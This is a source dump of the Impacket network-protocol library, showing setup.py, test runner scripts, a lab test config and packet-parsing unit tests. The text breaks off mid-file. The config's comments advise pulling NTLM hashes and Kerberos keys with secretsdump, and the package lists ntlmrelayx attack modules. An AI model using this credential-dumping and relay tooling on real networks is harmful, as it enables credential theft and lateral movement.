| 21 | PACKAGE_NAME = "impacket" 22 | 23 | VER_MAJOR = 0 24 | VER_MINOR = 9 25 | VER_MAINT = 24 26 | VER_PREREL = "dev1" 27 | try: 28 | if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0: 29 | p = Popen("git log -1 --format=%cd --date=format:%Y%m%d.%H%M%S", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 30 | (outstr, errstr) = p.communicate() 31 | (VER_CDATE,VER_CTIME) = outstr.strip().decode("utf-8").split('.') 32 | 33 | p = Popen("git rev-parse --short HEAD", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 34 | (outstr, errstr) = p.communicate() 35 | VER_CHASH = outstr.strip().decode("utf-8") 36 | 37 | VER_LOCAL = "+{}.{}.{}".format(VER_CDATE, VER_CTIME, VER_CHASH) 38 | 39 | else: 40 | VER_LOCAL = "" 41 | except Exception: 42 | VER_LOCAL = "" 43 | 44 | if platform.system() != 'Darwin': 45 | data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))] 46 | else: 47 | data_files = [] 48 | 49 | def read(fname): 50 | return open(os.path.join(os.path.dirname(__file__), fname)).read() 51 | 52 | setup(name = PACKAGE_NAME, 53 | version = "{}.{}.{}.{}{}".format(VER_MAJOR,VER_MINOR,VER_MAINT,VER_PREREL,VER_LOCAL), 54 | description = "Network protocols Constructors and Dissectors", 55 | url = "https://www.secureauth.com/labs/open-source-tools/impacket", 56 | author = "SecureAuth Corporation", 57 | author_email = "oss@secureauth.com", 58 | maintainer = "SecureAuth's Innovation Labs ", 59 | maintainer_email = "oss@secureauth.com", 60 | license = "Apache modified", 61 | long_description = read('README.md'), 62 | long_description_content_type="text/markdown", 63 | platforms = ["Unix","Windows"], 64 | packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', 65 | 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 66 | 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 67 | 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', 68 | 'impacket.examples.ntlmrelayx.attacks'], 69 | scripts = glob.glob(os.path.join('examples', '*.py')), 70 | data_files = data_files, 71 | install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.16.2', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', 72 | 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'chardet'], 73 | extras_require={ 74 | 'pyreadline:sys_platform=="win32"': [], 75 | }, 76 | classifiers = [ 77 | "Programming Language :: Python :: 3.9", 78 | "Programming Language :: Python :: 3.8", 79 | "Programming Language :: Python :: 3.7", 80 | "Programming Language :: Python :: 3.6", 81 | "Programming Language :: Python :: 2.7", 82 | ] 83 | ) 84 | -------------------------------------------------------------------------------- /tests/ImpactPacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /tests/ImpactPacket/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /tests/ImpactPacket/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../..:$PYTHONPATH 5 | 6 | if [ $# -gt 0 ] 7 | then 8 | # Only run coverage when called by tox 9 | RUN="python -m coverage run --append --rcfile=../coveragerc " 10 | else 11 | RUN=python 12 | fi 13 | 14 | total=0 15 | ok=0 16 | failed=0 17 | for file in `ls *.py` ; do 18 | echo $separator 19 | echo Executing $RUN $file 20 | latest=$( 21 | $RUN $file 2>&1 | { 22 | while read line; do 23 | echo " $line" 1>&2 24 | latest="$line" 25 | done 26 | echo $latest 27 | } 28 | ) 29 | #echo Latest ${latest} 30 | result=${latest:0:6} 31 | if [ "$result" = "FAILED" ] 32 | then 33 | (( failed++ )) 34 | elif [ "$result" = "OK" ] 35 | then 36 | (( ok++ )) 37 | fi 38 | 39 | (( total++ )) 40 | done 41 | echo $separator 42 | echo Summary: 43 | echo " OK $ok/$total" 44 | echo " $failed FAILED" 45 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_IP6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | #Impact test version 11 | try: 12 | from impacket import IP6_Address, IP6, ImpactDecoder 13 | except: 14 | pass 15 | 16 | #Standalone test version 17 | try: 18 | import sys 19 | sys.path.insert(0,"../..") 20 | import IP6_Address, IP6, ImpactDecoder 21 | except: 22 | pass 23 | 24 | import unittest 25 | 26 | class TestIP6(unittest.TestCase): 27 | 28 | def setUp(self): 29 | #Version 6, traffic class 72, flow label 148997, payload length 1500 30 | #next header 17 (UDP), hop limit 1 31 | #source addr FE80::78F8:89D1:30FF:256B 32 | #dest addr FF02::1:3 33 | self.binary_packet = [ 34 | 0x64, 0x82, 0x46, 0x05, 35 | 0x05, 0xdc, 0x11, 0x01, 36 | 0xfe, 0x80, 0x00, 0x00, 37 | 0x00, 0x00, 0x00, 0x00, 38 | 0x78, 0xf8, 0x89, 0xd1, 39 | 0x30, 0xff, 0x25, 0x6b, 40 | 0xff, 0x02, 0x00, 0x00, 41 | 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 43 | 0x00, 0x01, 0x00, 0x03] 44 | 45 | def test_decoding(self): 46 | '''Test IP6 Packet decoding.''' 47 | 48 | 49 | d = ImpactDecoder.IP6Decoder() 50 | parsed_packet = d.decode(self.binary_packet) 51 | 52 | protocol_version = parsed_packet.get_ip_v() 53 | traffic_class = parsed_packet.get_traffic_class() 54 | flow_label = parsed_packet.get_flow_label() 55 | payload_length = parsed_packet.get_payload_length() 56 | next_header = parsed_packet.get_next_header() 57 | hop_limit = parsed_packet.get_hop_limit() 58 | source_address = parsed_packet.get_ip_src() 59 | destination_address = parsed_packet.get_ip_dst() 60 | 61 | self.assertEqual(protocol_version, 6, "IP6 parsing - Incorrect protocol version") 62 | self.assertEqual(traffic_class, 72, "IP6 parsing - Incorrect traffic class") 63 | self.assertEqual(flow_label, 148997, "IP6 parsing - Incorrect flow label") 64 | self.assertEqual(payload_length, 1500, "IP6 parsing - Incorrect payload length") 65 | self.assertEqual(next_header, 17, "IP6 parsing - Incorrect next header") 66 | self.assertEqual(hop_limit, 1, "IP6 parsing - Incorrect hop limit") 67 | self.assertEqual(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address") 68 | self.assertEqual(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address") 69 | 70 | def test_creation(self): 71 | '''Test IP6 Packet creation.''' 72 | 73 | crafted_packet = IP6.IP6() 74 | crafted_packet.set_traffic_class(72) 75 | crafted_packet.set_flow_label(148997) 76 | crafted_packet.set_payload_length(1500) 77 | crafted_packet.set_next_header(17) 78 | crafted_packet.set_hop_limit(1) 79 | crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B") 80 | crafted_packet.set_ip_dst("FF02::1:3") 81 | crafted_buffer = crafted_packet.get_bytes().tolist() 82 | self.assertEqual(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch") 83 | 84 | 85 | suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6) 86 | unittest.main(defaultTest='suite') 87 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_TCP_bug_issue7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.ImpactPacket import TCP, ImpactPacketException 15 | import unittest 16 | from threading import Thread 17 | 18 | 19 | class TestTCP(unittest.TestCase): 20 | 21 | def setUp(self): 22 | # Dummy TCP header with "Maximum Segment Size" Option and zero length 23 | self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 24 | 25 | def test_01(self): 26 | 'Test TCP options parsing hangs' 27 | class it_hangs(Thread): 28 | def __init__(self): 29 | Thread.__init__(self) 30 | def run(self): 31 | try: 32 | frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ 33 | '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 34 | tcp = TCP(frame) 35 | except ImpactPacketException as e: 36 | if str(e) != "'TCP Option length is too low'": 37 | raise e 38 | except: 39 | pass 40 | 41 | thread_hangs = it_hangs() 42 | thread_hangs.setDaemon(True) 43 | thread_hangs.start() 44 | 45 | thread_hangs.join(1.0) # 1 seconds timeout 46 | self.assertEqual(thread_hangs.is_alive(), False) 47 | 48 | 49 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) 50 | unittest.main(defaultTest='suite') 51 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_ethernet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import sys 11 | sys.path.insert(0,"../..") 12 | 13 | from impacket.ImpactPacket import Ethernet, EthernetTag 14 | from array import array 15 | import unittest 16 | 17 | class TestEthernet(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315) 21 | # and ethertype 0x0800 (IPv4) 22 | self.frame = b'\x54\xab\xa3\xb9\x38\x3d\xe2\xef\x8d\xc7\xa8\x5e\x81\x00\xac\xf3\x08\x00' 23 | self.eth = Ethernet(self.frame) 24 | 25 | def test_01(self): 26 | """Test Ethernet getters""" 27 | self.assertEqual(self.eth.get_packet(), self.frame) 28 | self.assertEqual(self.eth.get_header_size(), 18) 29 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 30 | 31 | # Check source and destination MACs 32 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6])) 33 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12])) 34 | 35 | def test_02(self): 36 | """Test Ethernet setters""" 37 | self.eth.set_ether_type(0x88cc) 38 | self.assertEqual(self.eth.get_ether_type(), 0x88cc) 39 | 40 | # Swap source and destination MACs 41 | dhost = self.eth.get_ether_dhost() 42 | shost = self.eth.get_ether_shost() 43 | self.eth.set_ether_dhost(shost) 44 | self.eth.set_ether_shost(dhost) 45 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12])) 46 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6])) 47 | 48 | def test_03(self): 49 | """Test EthernetTag getters""" 50 | tag = self.eth.pop_tag() 51 | self.assertEqual(tag.get_buffer_as_string(),b'\x81\x00\xac\xf3') 52 | self.assertEqual(tag.get_tpid(), 0x8100) 53 | self.assertEqual(tag.get_pcp(), 5) 54 | self.assertEqual(tag.get_dei(), 0) 55 | self.assertEqual(tag.get_vid(), 3315) 56 | 57 | def test_04(self): 58 | """Test EthernetTag setters""" 59 | tag = self.eth.pop_tag() 60 | tag.set_tpid(0x88a8) 61 | tag.set_pcp(2) 62 | tag.set_dei(1) 63 | tag.set_vid(876) 64 | self.assertEqual(tag.get_buffer_as_string(), b'\x88\xa8\x53\x6c') 65 | 66 | def test_05(self): 67 | """Test manipulation with VLAN tags""" 68 | def check_tags(*tags): 69 | self.assertEqual(self.eth.tag_cnt, len(tags)) 70 | self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags)) 71 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 72 | for i,tag in enumerate(tags): 73 | self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag) 74 | 75 | # Add S-tag (outer tag, closest to the Ethernet header) 76 | self.eth.push_tag(EthernetTag(0x88a85001)) 77 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\xac\xf3') 78 | 79 | # Set C-tag (inner tag, closest to the payload) to default 80 | self.eth.set_tag(1, EthernetTag()) 81 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\x00\x00') 82 | 83 | # Insert a deprecated 802.1QinQ header between S-tag and C-tag 84 | self.eth.push_tag(EthernetTag(0x910054d2), index=1) 85 | check_tags(b'\x88\xa8\x50\x01', b'\x91\x00\x54\xd2', b'\x81\x00\x00\x00') 86 | 87 | # Test negative indices 88 | tags = {} 89 | for i in range(-3,3): 90 | tags[i] = self.eth.get_tag(i).get_buffer_as_string() 91 | 92 | self.assertEqual(tags[-1], tags[2]) 93 | self.assertEqual(tags[-2], tags[1]) 94 | self.assertEqual(tags[-3], tags[0]) 95 | 96 | # Accessing non-existent tags raises IndexError 97 | self.assertRaises(IndexError, self.eth.get_tag, 3) 98 | self.assertRaises(IndexError, self.eth.get_tag, -4) 99 | self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag()) 100 | self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag()) 101 | 102 | # Test Ethernet constructor 103 | data = self.eth.get_buffer_as_string() 104 | eth_copy = Ethernet(data) 105 | self.assertEqual(eth_copy.tag_cnt, 3) 106 | self.assertEqual(eth_copy.get_header_size(), 26) 107 | self.assertEqual(eth_copy.get_ether_type(), 0x0800) 108 | 109 | # Remove the deprecated 802.1QinQ header and check resulting frame 110 | eth_copy.pop_tag(1) 111 | self.assertEqual(eth_copy.tag_cnt, 2) 112 | self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:]) 113 | 114 | 115 | suite = unittest.TestLoader().loadTestsFromTestCase(TestEthernet) 116 | unittest.main(defaultTest='suite') 117 | -------------------------------------------------------------------------------- /tests/SMB_RPC/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /tests/SMB_RPC/dcetests.cfg: -------------------------------------------------------------------------------- 1 | [global] 2 | 3 | [TCPTransport] 4 | # NetBIOS Name 5 | servername = 6 | # Targets IP 7 | machine = 172.16.123.232 8 | username = Administrator 9 | password = test 10 | # NTLM Hash, you can grab it with secretsdump 11 | hashes = 12 | # Kerberos AES 256 Key, you can grab it with secretsdump 13 | aesKey256 = 14 | # Kerberos AES 128 Key, you can grab it with secretsdump 15 | aesKey128 = 16 | # It must be the domain FQDN 17 | domain = CONTOSO.COM 18 | # This need to be a domain joined machine NetBIOS name 19 | machineuser= 20 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 21 | machineuserhashes = 22 | 23 | [SMBTransport] 24 | # NetBIOS Name 25 | servername = 26 | # Targets IP 27 | machine = 172.16.123.232 28 | username = Administrator 29 | password = test 30 | # NTLM Hash, you can grab it with secretsdump 31 | hashes = 32 | # Kerberos AES 256 Key, you can grab it with secretsdump 33 | aesKey256 = 34 | # Kerberos AES 128 Key, you can grab it with secretsdump 35 | aesKey128 = 36 | # It must be the domain FQDN 37 | domain = CONTOSO.COM 38 | # This need to be a domain joined machine NetBIOS name 39 | machineuser= 40 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 41 | machineuserhashes = 42 | -------------------------------------------------------------------------------- /tests/SMB_RPC/rundce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../../:$PYTHONPATH 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="python -m coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | python -V > /tmp/version 14 | 15 | $RUN test_rpcrt.py 16 | $RUN test_scmr.py 17 | $RUN test_epm.py 18 | $RUN test_samr.py 19 | $RUN test_wkst.py 20 | $RUN test_srvs.py 21 | $RUN test_lsad.py 22 | $RUN test_lsat.py 23 | $RUN test_rrp.py 24 | $RUN test_mgmt.py 25 | $RUN test_ndr.py 26 | $RUN test_drsuapi.py 27 | $RUN test_wmi.py 28 | $RUN test_dcomrt.py 29 | $RUN test_even6.py 30 | $RUN test_bkrp.py 31 | $RUN test_tsch.py 32 | $RUN test_dhcpm.py 33 | $RUN test_secretsdump.py 34 | $RUN test_nrpc.py 35 | $RUN test_rprn.py 36 | $RUN test_rpch.py 37 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_fasp.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Tested so far: 10 | # FWOpenPolicyStore 11 | # 12 | # Not yet: 13 | # 14 | # Shouldn't dump errors against a win7 15 | # 16 | import unittest 17 | 18 | from six.moves import configparser 19 | 20 | from impacket.dcerpc.v5 import transport, epm, fasp 21 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 22 | 23 | 24 | class FASPTests(unittest.TestCase): 25 | def connect(self): 26 | rpctransport = transport.DCERPCTransportFactory(self.stringBinding) 27 | if len(self.hashes) > 0: 28 | lmhash, nthash = self.hashes.split(':') 29 | else: 30 | lmhash = '' 31 | nthash = '' 32 | if hasattr(rpctransport, 'set_credentials'): 33 | # This method exists only for selected protocol sequences. 34 | rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) 35 | dce = rpctransport.get_dce_rpc() 36 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 37 | dce.connect() 38 | dce.bind(fasp.MSRPC_UUID_FASP, transfer_syntax = self.ts) 39 | 40 | return dce, rpctransport 41 | 42 | def test_FWOpenPolicyStore(self): 43 | dce, rpctransport = self.connect() 44 | request = fasp.FWOpenPolicyStore() 45 | request['BinaryVersion'] = 0x0200 46 | request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL 47 | request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ 48 | request['dwFlags'] = 0 49 | resp = dce.request(request) 50 | resp.dump() 51 | 52 | def test_hFWOpenPolicyStore(self): 53 | dce, rpctransport = self.connect() 54 | resp = fasp.hFWOpenPolicyStore(dce) 55 | resp.dump() 56 | 57 | 58 | def test_FWClosePolicyStore(self): 59 | dce, rpctransport = self.connect() 60 | resp = fasp.hFWOpenPolicyStore(dce) 61 | request = fasp.FWClosePolicyStore() 62 | request['phPolicyStore'] = resp['phPolicyStore'] 63 | resp = dce.request(request) 64 | resp.dump() 65 | 66 | def test_hFWClosePolicyStore(self): 67 | dce, rpctransport = self.connect() 68 | resp = fasp.hFWOpenPolicyStore(dce) 69 | resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore']) 70 | resp.dump() 71 | 72 | class TCPTransport(FASPTests): 73 | def setUp(self): 74 | FASPTests.setUp(self) 75 | configFile = configparser.ConfigParser() 76 | configFile.read('dcetests.cfg') 77 | self.username = configFile.get('TCPTransport', 'username') 78 | self.domain = configFile.get('TCPTransport', 'domain') 79 | self.serverName = configFile.get('TCPTransport', 'servername') 80 | self.password = configFile.get('TCPTransport', 'password') 81 | self.machine = configFile.get('TCPTransport', 'machine') 82 | self.hashes = configFile.get('TCPTransport', 'hashes') 83 | self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol = 'ncacn_ip_tcp') 84 | self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') 85 | 86 | class TCPTransport64(FASPTests): 87 | def setUp(self): 88 | FASPTests.setUp(self) 89 | configFile = configparser.ConfigParser() 90 | configFile.read('dcetests.cfg') 91 | self.username = configFile.get('TCPTransport', 'username') 92 | self.domain = configFile.get('TCPTransport', 'domain') 93 | self.serverName = configFile.get('TCPTransport', 'servername') 94 | self.password = configFile.get('TCPTransport', 'password') 95 | self.machine = configFile.get('TCPTransport', 'machine') 96 | self.hashes = configFile.get('TCPTransport', 'hashes') 97 | self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol='ncacn_ip_tcp') 98 | self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 99 | 100 | # Process command-line arguments. 101 | if __name__ == '__main__': 102 | import sys 103 | if len(sys.argv) > 1: 104 | testcase = sys.argv[1] 105 | suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) 106 | else: 107 | suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) 108 | suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) 109 | unittest.main(defaultTest='suite') 110 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_nmb.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | try: 10 | import ConfigParser 11 | except ImportError: 12 | import configparser as ConfigParser 13 | import unittest 14 | 15 | from impacket import nmb 16 | from impacket.structure import hexdump 17 | 18 | 19 | class NMBTests(unittest.TestCase): 20 | def create_connection(self): 21 | pass 22 | 23 | def test_encodedecodename(self): 24 | name = 'THISISAVERYLONGLONGNAME' 25 | encoded = nmb.encode_name(name,nmb.TYPE_SERVER,None) 26 | hexdump(encoded) 27 | decoded = nmb.decode_name(encoded) 28 | hexdump(bytearray(decoded[1],'utf-8')) 29 | 30 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 31 | self.assertTrue(name[:15]==decoded[1].strip()) 32 | 33 | # ToDo: Fix the scope functionality 34 | #namescope = 'MYNAME' 35 | #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE') 36 | #hexdump(encoded) 37 | #decoded = nmb.decode_name(encoded) 38 | #hexdump(decoded) 39 | 40 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 41 | #self.assertTrue(namescope[:15]==decoded[1].strip()) 42 | 43 | def test_getnetbiosname(self): 44 | n = nmb.NetBIOS() 45 | res = n.getnetbiosname(self.machine) 46 | print(repr(res)) 47 | self.assertTrue( self.serverName, res) 48 | 49 | def test_getnodestatus(self): 50 | n = nmb.NetBIOS() 51 | resp = n.getnodestatus(self.serverName.upper(), self.machine) 52 | for r in resp: 53 | r.dump() 54 | print(resp) 55 | 56 | def test_gethostbyname(self): 57 | n = nmb.NetBIOS() 58 | n.set_nameserver(self.serverName) 59 | resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER) 60 | print((resp.entries)) 61 | 62 | def test_name_registration_request(self): 63 | n = nmb.NetBIOS() 64 | # ToDo: Look at this 65 | #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 66 | try: 67 | resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2') 68 | resp.dump() 69 | except Exception as e: 70 | print(str(e)) 71 | if str(e).find('NETBIOS') <= 0: 72 | raise e 73 | 74 | def test_name_query_request(self): 75 | n = nmb.NetBIOS() 76 | # ToDo: Look at this 77 | # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 78 | resp = n.name_query_request(self.serverName, self.machine) 79 | print((resp.entries)) 80 | 81 | class NetBIOSTests(NMBTests): 82 | def setUp(self): 83 | NMBTests.setUp(self) 84 | # Put specific configuration for target machine with SMB1 85 | configFile = ConfigParser.ConfigParser() 86 | configFile.read('dcetests.cfg') 87 | self.serverName = configFile.get('SMBTransport', 'servername') 88 | self.machine = configFile.get('SMBTransport', 'machine') 89 | 90 | if __name__ == "__main__": 91 | suite = unittest.TestLoader().loadTestsFromTestCase(NetBIOSTests) 92 | unittest.main(defaultTest='suite') 93 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_spnego.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | import unittest 10 | 11 | from impacket import smb 12 | 13 | class Test(unittest.TestCase): 14 | def setUp(self): 15 | self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 16 | 17 | self.negTokenInit2 = b'\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b' 18 | 19 | self.negTokenResp1 = b'\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00' 20 | 21 | self.negTokenResp2 = b'\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d' 22 | 23 | self.negTokenResp3 = 